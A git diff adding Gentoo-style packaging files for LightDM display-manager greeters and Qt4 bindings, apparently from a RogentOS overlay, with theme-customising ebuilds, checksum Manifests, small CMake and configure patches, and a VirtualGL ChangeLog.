+DIST lightdm-gtk-greeter-1.7.0.tar.gz 398438 SHA256 3f1086091ed2d892eadcd1550e2e7e1b255814735297fbb7068cd95ac7e8044d SHA512 c6ed54f4e291255b3c8802d517f9d0749be368a762e69c1d9c40254f240d32b6858f9169423ef18f0f1cae38c9851f0af58584d8a0d85f03a9e97a5ca0b302ee WHIRLPOOL 1191cc5bfea4aa1a7eeb2daecd215c90dd1a6399c33e0014e1e1f5449b0ed04862cce8f62c3a078430056da647a34d2eb24fb227349d41e988d10b1498968de2
diff --git a/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.3.1-r1.ebuild b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.3.1-r1.ebuild
new file mode 100644
index 00000000..ee1077e5
--- /dev/null
+++ b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.3.1-r1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="LightDM GTK+ Greeter"
+HOMEPAGE="http://launchpad.net/lightdm-gtk-greeter"
+SRC_URI="http://launchpad.net/lightdm-gtk-greeter/1.4/${PV}/+download/${P}.tar.gz"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="amd64 arm ~ppc x86"
+IUSE=""
+
+# This ebuild needs custom Rogentos themes, thus it must depend on rogentos-artwork-core
+DEPEND="x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2"
+RDEPEND="app-admin/eselect-lightdm
+	x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2
+	x11-themes/kogaion-dark-theme
+	x11-themes/faenza-kupertino-icons
+	x11-themes/rogentos-artwork-core"
+
+src_prepare() {
+	# Apply custom Rogentos theme
+	sed -i \
+		-e 's:#logo=.*:logo=/usr/share/icons/Faenza-Kupertino-Dark/places/48/distributor-logo-rogentos.png:' \
+		-e 's:#background=.*:background=/usr/share/backgrounds/kgdm.png:' \
+		-e 's:#theme-name=.*:theme-name=Kogaion-dark:' \
+		-e 's:#icon-theme-name=.*:icon-theme-name=Faenza-Kupertino-Dark:' \
+		-e 's:#font-name=.*:font-name=Bitstream Vera Sans Roman:' \
+		-e 's:#show-language-selector=.*:show-language-selector=true:' \
+		-e 's:#xft-hintstyle=.*:xft-hintstyle=hintfull:' \
+		-e 's:#xft-antialias=.*:xft-antialias=true:' \
+		-e 's:#xft-rgba=.*:xft-rgba=rgb:' "data/${PN}.conf" || die
+}
+
+pkg_postinst() {
+	# Make sure to have a greeter properly configured
+	eselect lightdm set lightdm-gtk-greeter --use-old
+}
+
+pkg_postrm() {
+	eselect lightdm set 1  # hope some other greeter is installed
+}
+
diff --git a/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.6.1.ebuild b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.6.1.ebuild
new file mode 100644
index 00000000..ed773ffe
--- /dev/null
+++ b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.6.1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="LightDM GTK+ Greeter"
+HOMEPAGE="http://launchpad.net/lightdm-gtk-greeter"
+SRC_URI="http://launchpad.net/lightdm-gtk-greeter/1.4/${PV}/+download/${P}.tar.gz"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~ppc x86"
+IUSE=""
+
+# This ebuild needs custom Sabayon themes, thus it must depend on sabayon-artwork-core
+DEPEND="x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2"
+RDEPEND="app-admin/eselect-lightdm
+	x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2
+	x11-themes/gnome-themes-standard
+	x11-themes/gnome-icon-theme
+	x11-themes/rogentos-artwork-core"
+
+src_prepare() {
+	# Apply custom Sabayon theme
+	sed -i \
+		-e 's:#background=.*:background=/usr/share/backgrounds/kgdm.png:' \
+		-e 's:#show-language-selector=.*:show-language-selector=true:' \
+		-e 's:#xft-hintstyle=.*:xft-hintstyle=hintfull:' \
+		-e 's:#xft-antialias=.*:xft-antialias=true:' \
+		-e 's:#xft-rgba=.*:xft-rgba=rgb:' "data/${PN}.conf" || die
+}
+
+pkg_postinst() {
+	# Make sure to have a greeter properly configured
+	eselect lightdm set lightdm-gtk-greeter --use-old
+}
+
+pkg_postrm() {
+	eselect lightdm set 1  # hope some other greeter is installed
+}
+
diff --git a/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.7.0.ebuild b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.7.0.ebuild
new file mode 100644
index 00000000..6c30951d
--- /dev/null
+++ b/x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.7.0.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit versionator
+
+DESCRIPTION="LightDM GTK+ Greeter"
+HOMEPAGE="http://launchpad.net/lightdm-gtk-greeter"
+SRC_URI="http://launchpad.net/lightdm-gtk-greeter/$(get_version_component_range 1-2)/${PV}/+download/${P}.tar.gz"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~ppc x86"
+IUSE=""
+
+# This ebuild needs custom RogentOS themes, thus it must depend on rogentos-artwork-core
+DEPEND="x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2"
+RDEPEND="!!<x11-misc/lightdm-1.1.1
+	app-admin/eselect-lightdm
+	x11-libs/gtk+:3
+	>=x11-misc/lightdm-1.2.2
+	x11-themes/gnome-themes-standard
+	x11-themes/gnome-icon-theme
+	x11-themes/rogentos-artwork-core"
+
+src_prepare() {
+	# Apply custom RogentOS theme
+	sed -i \
+		-e 's:#background=.*:background=/usr/share/backgrounds/kgdm.png:' \
+		-e 's:#show-language-selector=.*:show-language-selector=true:' \
+		-e 's:#xft-hintstyle=.*:xft-hintstyle=hintfull:' \
+		-e 's:#xft-antialias=.*:xft-antialias=true:' \
+		-e 's:#xft-rgba=.*:xft-rgba=rgb:' "data/${PN}.conf" || die
+}
+
+pkg_postinst() {
+	# Make sure to have a greeter properly configured
+	eselect lightdm set lightdm-gtk-greeter --use-old
+}
+
+pkg_postrm() {
+	eselect lightdm set 1  # hope some other greeter is installed
+}
+
diff --git a/x11-misc/lightdm-kde/Manifest b/x11-misc/lightdm-kde/Manifest
new file mode 100644
index 00000000..5a21b521
--- /dev/null
+++ b/x11-misc/lightdm-kde/Manifest
@@ -0,0 +1 @@
+DIST lightdm-kde-0.3.2.1.tar.bz2 1379085 SHA256 65b2a1bab2c88bf55a07e62cbe0eb8ac3660638636c5825e5925b28d03f12188 SHA512 e5a812d37d0906960b707ee0104a6d0c240c910149f64757521504483caa9363467bb21d446c74851db38024785486b5355e3627db3fca3d6f8f046c2e8cf0f1 WHIRLPOOL 13bcd945b5c84609397b16f087fe53da8560f6092fe857746fc7f6e8d7d3804289ef1cfc56d9696561d9301fa5c80a46c117cd1b8077fe793a0e71696107b131
diff --git a/x11-misc/lightdm-kde/files/lightdm-kde-0.3.2.1-lightdm-1.7.patch b/x11-misc/lightdm-kde/files/lightdm-kde-0.3.2.1-lightdm-1.7.patch
new file mode 100644
index 00000000..0e83db26
--- /dev/null
+++ b/x11-misc/lightdm-kde/files/lightdm-kde-0.3.2.1-lightdm-1.7.patch
@@ -0,0 +1,49 @@
+From dacd25fc53ecfd8928464420c21ff52b660a0893 Mon Sep 17 00:00:00 2001
+From: Iain Lane <iain.lane@canonical.com>
+Date: Thu, 1 Aug 2013 21:37:48 +1000
+Subject: [PATCH] FindQLightDM.cmake: Search for new liblightdm-qt-3 as well as
+ old liblightdm-qt-2
+
+BUG: 319480
+---
+ cmake/modules/FindQLightDM.cmake | 15 ++++++++++++---
+ 1 file changed, 12 insertions(+), 3 deletions(-)
+
+diff --git a/cmake/modules/FindQLightDM.cmake b/cmake/modules/FindQLightDM.cmake
+index c055c61..f901cf6 100644
+--- a/cmake/modules/FindQLightDM.cmake
++++ b/cmake/modules/FindQLightDM.cmake
+@@ -19,10 +19,19 @@ set(QLIGHTDM_LIBRARIES_FIND_REQUIRED ${QLightDM_FIND_REQUIRED})
+ find_package(PkgConfig)
+ if(PKG_CONFIG_FOUND)
+     if (QLIGHTDM_MIN_VERSION)
+-        PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-2>=${QLIGHTDM_MIN_VERSION})
++        PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-3>=${QLIGHTDM_MIN_VERSION})
+     else (QLIGHTDM_MIN_VERSION)
+-        PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-2)
++        PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-3)
+     endif (QLIGHTDM_MIN_VERSION)
++    SET (QLIGHTDM_API 3)
++    if (NOT PC_QLIGHTDM_FOUND)
++        if (QLIGHTDM_MIN_VERSION)
++            PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-2>=${QLIGHTDM_MIN_VERSION})
++        else (QLIGHTDM_MIN_VERSION)
++            PKG_CHECK_MODULES(PC_QLIGHTDM liblightdm-qt-2)
++        endif (QLIGHTDM_MIN_VERSION)
++        SET (QLIGHTDM_API 2)
++    endif (NOT PC_QLIGHTDM_FOUND)
+ endif(PKG_CONFIG_FOUND)
+ 
+ 
+@@ -34,7 +43,7 @@ find_path(QLIGHTDM_INCLUDE_DIR
+ )
+ 
+ find_library(QLIGHTDM_LIBRARIES
+-             NAMES lightdm-qt-2
++             NAMES lightdm-qt-${QLIGHTDM_API}
+              HINTS
+              ${PC_QLIGHTDM_LIBDIR}
+              ${PC_QLIGHTDM_LIBRARY_DIRS}
+-- 
+1.8.3.2
+
diff --git a/x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild b/x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild
new file mode 100644
index 00000000..1e9ac685
--- /dev/null
+++ b/x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+KDE_MINIMAL="4.8"
+KDE_SCM="git"
+EGIT_REPONAME="${PN/-kde/}"
+KDE_LINGUAS="cs da de el es et fi fr ga hu it ja km lt nds nl pl pt pt_BR ro sk sv uk"
+inherit kde4-base
+
+DESCRIPTION="LightDM KDE greeter"
+HOMEPAGE="https://projects.kde.org/projects/playground/base/lightdm"
+[[ ${PV} = 9999* ]] || SRC_URI="mirror://kde/unstable/${PN}/src/${P}.tar.bz2"
+
+LICENSE="GPL-3"
+KEYWORDS="amd64 ~ppc x86"
+SLOT="4"
+IUSE="debug"
+
+DEPEND="x11-libs/libX11
+	dev-qt/qtdeclarative:4
+	>=x11-misc/lightdm-1.3.2[qt4]
+"
+RDEPEND="${DEPEND}
+	app-admin/eselect-lightdm"
+
+S=${WORKDIR}/${PN/-kde}-${PV}
+
+pkg_postinst() {
+	# Make sure to have a greeter properly configured
+	eselect lightdm set lightdm-kde-greeter --use-old
+}
+
+pkg_postrm() {
+	eselect lightdm set 1  # hope some other greeter is installed
+}
diff --git a/x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild b/x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild
new file mode 100644
index 00000000..0099e1a5
--- /dev/null
+++ b/x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+KDE_MINIMAL="4.8"
+KDE_SCM="git"
+EGIT_REPONAME="${PN/-kde/}"
+KDE_LINGUAS="cs da de el es et fi fr ga hu it ja km lt nds nl pl pt pt_BR ro sk sv uk"
+inherit kde4-base
+
+DESCRIPTION="LightDM KDE greeter"
+HOMEPAGE="https://projects.kde.org/projects/playground/base/lightdm"
+[[ ${PV} = 9999* ]] || SRC_URI="mirror://kde/unstable/${PN}/src/${P}.tar.bz2"
+
+LICENSE="GPL-3"
+KEYWORDS="amd64 ~ppc x86"
+SLOT="4"
+IUSE="debug"
+
+DEPEND="x11-libs/libX11
+	dev-qt/qtdeclarative:4
+	>=x11-misc/lightdm-1.3.2[qt4]
+"
+RDEPEND="${DEPEND}
+	app-admin/eselect-lightdm"
+
+S=${WORKDIR}/${PN/-kde}-${PV}
+
+PATCHES=( "${FILESDIR}/${P}-lightdm-1.7.patch" )
+
+pkg_postinst() {
+	# Make sure to have a greeter properly configured
+	eselect lightdm set lightdm-kde-greeter --use-old
+}
+
+pkg_postrm() {
+	eselect lightdm set 1  # hope some other greeter is installed
+}
+
diff --git a/x11-misc/lightdm-kde/metadata.xml b/x11-misc/lightdm-kde/metadata.xml
new file mode 100644
index 00000000..8d1e86a9
--- /dev/null
+++ b/x11-misc/lightdm-kde/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>kde</herd>
+</pkgmetadata>
diff --git a/x11-misc/lightdm-qt4/Manifest b/x11-misc/lightdm-qt4/Manifest
new file mode 100644
index 00000000..f818f8d1
--- /dev/null
+++ b/x11-misc/lightdm-qt4/Manifest
@@ -0,0 +1,3 @@
+DIST introspection-20110205.m4.tar.bz2 1220 SHA256 4394a606d380ae5315872ede35387f104da5fad96794d29c45c444a9d481d8b2 SHA512 5c49239935b93d86cce68b577b43d1a56d8749ab5747029bfcfa67339697134be24ef29ba6c3d133b8c03e867864637c8eb61491a4b7f6bb1e56386ed66cb9be WHIRLPOOL 0765c0a72919b26d0c8c38714450eec578a347bfc1c59d4950b633b64b17aa1cde38dfb87fdcd6e2f364c98d6c0bd3dadaa9c2a9711bd1b5ac09a583b988f500
+DIST lightdm-1.4.0.tar.gz 660979 SHA256 3486a9f828864a78d452696cf6fef6e1dec2f4ef92a72e90ab37edf9a0824c43 SHA512 dedea48dbf2dde1a84c63691474b6452340b7ba5abd9793afb02f3ffcdb4d664432e3e4bbd6151bfb5861424c1063b42ca99989642b970b4a804ed8bfea6fb1e WHIRLPOOL 0def63f88e3f6ab810411bd51f53984d5cdb832faa81f33d0dd2243b774c06362d20d1c91d32c79f2630c8e543834ed3f5cf411c76843702ed997f60bad30212
+DIST lightdm-1.8.5.tar.xz 449024 SHA256 c1a55800628c7a683a529e32646eae4be32295a09af049c9b15387acff0232a2 SHA512 a3941560abe402b07e5595a6fb6bcbd9df36f775b07ac23c526a14c25c1bc2e9ce4e2f912354446111f58499d9df92c650b44b05dbd1e49b5207722d5bf7985f WHIRLPOOL aabc3adf3412b92b235fc8c2674d6807d5bf5c0714a73ac62b558decf779f98a5fbf9151ec00498c4ef3032b153d7735ca216d9451fdd11924f72dab77e7f4ef
diff --git a/x11-misc/lightdm-qt4/files/lightdm-1.2.0-fix-configure.patch b/x11-misc/lightdm-qt4/files/lightdm-1.2.0-fix-configure.patch
new file mode 100644
index 00000000..c8c795e0
--- /dev/null
+++ b/x11-misc/lightdm-qt4/files/lightdm-1.2.0-fix-configure.patch
@@ -0,0 +1,10 @@
+--- configure.ac~	2012-04-23 12:12:44.000000000 +0100
++++ configure.ac	2012-04-23 12:25:51.050999668 +0100
+@@ -93,6 +93,7 @@
+     PKG_CHECK_MODULES(LIBLIGHTDM_QT, [
+         QtCore
+         QtDBus
++        QtGui
+     ])
+     QT4_BINDIR=`$PKG_CONFIG Qt --variable bindir`
+     AC_CHECK_TOOLS(MOC, [moc-qt4 moc],, [$QT4_BINDIR:$PATH])
diff --git a/x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild b/x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild
new file mode 100644
index 00000000..9020a0ee
--- /dev/null
+++ b/x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit autotools eutils
+
+TRUNK_VERSION="1.4"
+REAL_PN="${PN/-qt4}"
+REAL_P="${P/-qt4}"
+DESCRIPTION="Qt4 libraries for LightDM"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+SRC_URI="http://launchpad.net/${REAL_PN}/${TRUNK_VERSION}/${REAL_PV}/+download/${REAL_P}.tar.gz
+	mirror://gentoo/introspection-20110205.m4.tar.bz2"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+COMMON_DEPEND="~x11-misc/lightdm-base-${PV}"
+RDEPEND="${COMMON_DEPEND}"
+DEPEND="${COMMON_DEPEND}"
+
+DOCS=( NEWS )
+S="${WORKDIR}/${REAL_P}"
+
+src_prepare() {
+	epatch "${FILESDIR}"/${REAL_PN}-1.2.0-fix-configure.patch
+	epatch_user
+
+	# Remove bogus Makefile statement. This needs to go upstream
+	sed -i /"@YELP_HELP_RULES@"/d help/Makefile.am || die
+	if has_version dev-libs/gobject-introspection; then
+		eautoreconf
+	else
+		AT_M4DIR=${WORKDIR} eautoreconf
+	fi
+}
+
+src_configure() {
+	econf \
+		--localstatedir=/var \
+		--disable-static \
+		--disable-introspection \
+		--enable-liblightdm-qt
+}
+
+src_compile() {
+	cd "${S}/liblightdm-qt" && \
+		emake
+}
+
+src_install() {
+	cd "${S}/liblightdm-qt" && \
+		emake DESTDIR="${ED}" install
+}
diff --git a/x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild b/x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild
new file mode 100644
index 00000000..3ee3e1e2
--- /dev/null
+++ b/x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild
@@ -0,0 +1,56 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+inherit autotools eutils
+
+TRUNK_VERSION="1.8"
+REAL_PN="${PN/-qt4}"
+REAL_P="${P/-qt4}"
+DESCRIPTION="Qt4 libraries for LightDM"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+SRC_URI="http://launchpad.net/${REAL_PN}/${TRUNK_VERSION}/${PV}/+download/${REAL_P}.tar.xz
+	mirror://gentoo/introspection-20110205.m4.tar.bz2"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+COMMON_DEPEND="~x11-misc/lightdm-base-${PV}"
+RDEPEND="${COMMON_DEPEND}"
+DEPEND="${COMMON_DEPEND}"
+
+DOCS=( NEWS )
+S="${WORKDIR}/${REAL_P}"
+
+src_prepare() {
+	epatch_user
+
+	# Remove bogus Makefile statement. This needs to go upstream
+	sed -i /"@YELP_HELP_RULES@"/d help/Makefile.am || die
+	if has_version dev-libs/gobject-introspection; then
+		eautoreconf
+	else
+		AT_M4DIR=${WORKDIR} eautoreconf
+	fi
+}
+
+src_configure() {
+	econf \
+		--localstatedir=/var \
+		--disable-static \
+		--disable-introspection \
+		--enable-liblightdm-qt
+}
+
+src_compile() {
+	cd "${S}/liblightdm-qt" && \
+		emake
+}
+
+src_install() {
+	cd "${S}/liblightdm-qt" && \
+		emake DESTDIR="${ED}" install
+}
diff --git a/x11-misc/lightdm-qt4/metadata.xml b/x11-misc/lightdm-qt4/metadata.xml
new file mode 100644
index 00000000..f3b74e3d
--- /dev/null
+++ b/x11-misc/lightdm-qt4/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
diff --git a/x11-misc/lightdm/lightdm-1.4.0-r1.ebuild b/x11-misc/lightdm/lightdm-1.4.0-r1.ebuild
new file mode 100644
index 00000000..c00e2786
--- /dev/null
+++ b/x11-misc/lightdm/lightdm-1.4.0-r1.ebuild
@@ -0,0 +1,22 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+DESCRIPTION="LightDM meta package"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="+gtk +introspection kde qt4 razor"
+REQUIRED_USE="|| ( gtk kde razor )"
+
+COMMON_DEPEND="~x11-misc/lightdm-base-${PV}[introspection=]
+	qt4? ( ~x11-misc/lightdm-qt4-${PV} )"
+DEPEND="${COMMON_DEPEND}"
+RDEPEND="${COMMON_DEPEND}
+	gtk? ( x11-misc/lightdm-gtk-greeter )
+	kde? ( x11-misc/lightdm-kde )
+	razor? ( razorqt-base/razorqt-lightdm-greeter )"
diff --git a/x11-misc/lightdm/lightdm-1.8.5-r2.ebuild b/x11-misc/lightdm/lightdm-1.8.5-r2.ebuild
new file mode 100644
index 00000000..c00e2786
--- /dev/null
+++ b/x11-misc/lightdm/lightdm-1.8.5-r2.ebuild
@@ -0,0 +1,22 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+DESCRIPTION="LightDM meta package"
+HOMEPAGE="http://www.freedesktop.org/wiki/Software/LightDM"
+
+LICENSE="GPL-3 LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="+gtk +introspection kde qt4 razor"
+REQUIRED_USE="|| ( gtk kde razor )"
+
+COMMON_DEPEND="~x11-misc/lightdm-base-${PV}[introspection=]
+	qt4? ( ~x11-misc/lightdm-qt4-${PV} )"
+DEPEND="${COMMON_DEPEND}"
+RDEPEND="${COMMON_DEPEND}
+	gtk? ( x11-misc/lightdm-gtk-greeter )
+	kde? ( x11-misc/lightdm-kde )
+	razor? ( razorqt-base/razorqt-lightdm-greeter )"
diff --git a/x11-misc/lightdm/metadata.xml b/x11-misc/lightdm/metadata.xml
new file mode 100644
index 00000000..f3b74e3d
--- /dev/null
+++ b/x11-misc/lightdm/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
diff --git a/x11-misc/virtualgl/ChangeLog b/x11-misc/virtualgl/ChangeLog
new file mode 100644
index 00000000..3f1b0fff
--- /dev/null
+++ b/x11-misc/virtualgl/ChangeLog
@@ -0,0 +1,72 @@
+# ChangeLog for x11-misc/virtualgl
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/x11-misc/virtualgl/ChangeLog,v 1.14 2013/05/26 18:46:27 pacho Exp $
+
+*virtualgl-2.3.2-r2 (26 May 2013)
+
+  26 May 2013; Pacho Ramos <pacho@gentoo.org> +files/vgl.initd-r2,
+  +virtualgl-2.3.2-r2.ebuild, -virtualgl-2.3.2.ebuild:
+  Fix running with gdm-3 (#469928, thanks a lot to Vadim A. Misbakh-Soloviov
+  (mva) for his help), drop old.
+
+*virtualgl-2.3.2-r1 (09 May 2013)
+
+  09 May 2013; Pacho Ramos <pacho@gentoo.org> +virtualgl-2.3.2-r1.ebuild:
+  Build multilib properly (#445784 by mgorny)
+
+  21 Apr 2013; Michał Górny <mgorny@gentoo.org> virtualgl-2.3.2.ebuild:
+  Support multilib libraries alternatively to emul-linux-x86-xlibs.
+
+  17 Mar 2013; Markos Chandras <hwoarang@gentoo.org> metadata.xml:
+  Add proxy-maintainers to metadata.xml
+
+  05 Feb 2013; Pacho Ramos <pacho@gentoo.org> -virtualgl-2.3.1-r1.ebuild,
+  virtualgl-2.3.2.ebuild:
+  Add missing dep (#455334 by Manuel Rüger (mrueg))
+
+  03 Dec 2012; Michał Górny <mgorny@gentoo.org> virtualgl-2.3.1-r1.ebuild,
+  virtualgl-2.3.2.ebuild:
+  Migrate to BUILD_DIR. This subshelling thing is so hacky the compatibility
+  code can't handle it.
+
+*virtualgl-2.3.2 (20 Oct 2012)
+
+  20 Oct 2012; Pacho Ramos <pacho@gentoo.org> +virtualgl-2.3.2.ebuild:
+  Version bump and add missing glu dependency, bug #437998 by Diego Elio
+  Pettenò.
+
+  29 Sep 2012; Pacho Ramos <pacho@gentoo.org> -files/vgl.confd,
+  -files/vgl.initd:
+  Drop old.
+
+*virtualgl-2.3.1-r1 (29 Sep 2012)
+
+  29 Sep 2012; Pacho Ramos <pacho@gentoo.org> +virtualgl-2.3.1-r1.ebuild,
+  -virtualgl-2.3.1.ebuild, files/vgl.initd-r1:
+  Really use updated conf.d and init.d files as looks like I forgot to
+  effectively commit them in the past and was using them only locally, bug
+  #436386 by Szymon Walczak, My Th and mva.
+
+  14 Sep 2012; Pacho Ramos <pacho@gentoo.org> -virtualgl-2.3.ebuild:
+  Drop old.
+
+*virtualgl-2.3.1 (26 Jul 2012)
+
+  26 Jul 2012; Pacho Ramos <pacho@gentoo.org> +files/vgl.confd-r1,
+  +files/vgl.initd-r1, +virtualgl-2.3.1.ebuild:
+  Version bump, also adds support for lxdm (#425044 by MZ) and uses proper
+  locations for generated data files (#428122 by Andreas Steinmetz).
+
+  06 Jun 2012; Pacho Ramos <pacho@gentoo.org> virtualgl-2.3.ebuild:
+  Drop postinst message as it's common to have conf.d files for configuration of
+  init.d scripts. Also drop ED usage over D because of missing prefix support.
+
+  04 Jun 2012; Pacho Ramos <pacho@gentoo.org> metadata.xml:
+  Fix metadata.
+
+*virtualgl-2.3 (21 Apr 2012)
+
+  21 Apr 2012; Pacho Ramos <pacho@gentoo.org> +files/vgl.confd,
+  +files/vgl.initd, +metadata.xml, +virtualgl-2.3.ebuild:
+  Initial commit from bumblebee overlay, this fixes bug #384083. Thanks a lot to
+  mva and rei4dan for their work.
diff --git a/x11-misc/virtualgl/Manifest b/x11-misc/virtualgl/Manifest
new file mode 100644
index 00000000..e69f7322
--- /dev/null
+++ b/x11-misc/virtualgl/Manifest
@@ -0,0 +1,18 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+AUX vgl.confd-r1 636 SHA256 500957c2736f761e763f75e9c3a09bb4f53bcde8a3cd38dd5ec6b34777737fd2 SHA512 f3203bb987d5a99fb63fd11d907235b343b261d945b788dfd17c09999fdb83df3d1a3028c60dd083f6b2ec358df06f321c330ae63a862ec1fa16f816be884ecd WHIRLPOOL af1efbc7ccf18b01e35a4c991be8036f1ed0c34cf040fa7b5b52ebf6441971d952e9577dd9e11656cfc8c673441d083fee5cb4d87dc8876b4cf21cbcc80108ca
+AUX vgl.initd-r1 881 SHA256 0dc1db0548c627b83c4adb3396aaafdc2d633698e6c89d47fb940904c2f4764c SHA512 e7965844cbc8f58158bb6176eed354b7a0a6da09489aee7b508a59f0fc7529ab7071bd4fa4ee2180cc4b019504f6b8735d7476cbfbc057c9b583ce59394d349e WHIRLPOOL 3a404bd35932c92ffca82b778261876f9e16cd73eb8116d21addf0c7c057faee4d1c8ce09c8e174cee7eea1373f70fb014f5f0412eac049ac7f4bb798cb95334
+AUX vgl.initd-r2 886 SHA256 d9337f0f337f291809e8ce7b34b495439c453e9e71e1b8c5623f51be60543707 SHA512 6b12439e504db83d46da2f4521f8d5ec25a5a54fb18469fe9afa96b31c3c02dd4dca95ff8d85becd2db4d86adf4f5c45bd20bd1677aebe9929dc156bce259065 WHIRLPOOL ce8365f468d42549233b910865c560f2a8ecb22e443ae5e0df49b526dc1ce1608b03d6102fb8bfccee84edfabd53a523c54edc055486b685199612831614bda3
+DIST VirtualGL-2.3.2.tar.gz 2741077 SHA256 bee2abb3225bd1a607036a50e60e2652248d976afdbfcb096423648f1acc5418 SHA512 69cf5082a33d86a3778c147de6296366efd056a8be9d38c3dc41030e832c58025fc2ee535076ae2a66a3ed8ee817109068c9255f9c1e0b9c5ff983450223b53d WHIRLPOOL c0f1fe6629b0020322e7a165025d704091cd6dd88e5ca11037cddf14cdcccf5b50bc7a8b081d5f1d7508369a7d4f55d88aad3b783760ca32daeef1b244c3793e
+EBUILD virtualgl-2.3.2-r1.ebuild 2023 SHA256 e045d1d1a349cfdeadc619eaf15ed9d5e5861d3dfec04e437f3459f9d2792192 SHA512 305580c958eb89880769132583988bc1272cb4d9c408bb16d88f15acdb314a83a734cdf32c1fbc3b3126eba748f45db28cf5c818083ab779123a52acfb831b17 WHIRLPOOL 891e24be0d96cc3e3e171063bd8b11418ad1d1c4a4a96267ed2fe708626e4d0aacb64a4442b4e0fdf31441c59b0963a110295d5b7be913fe3ad46f01aedbe3c9
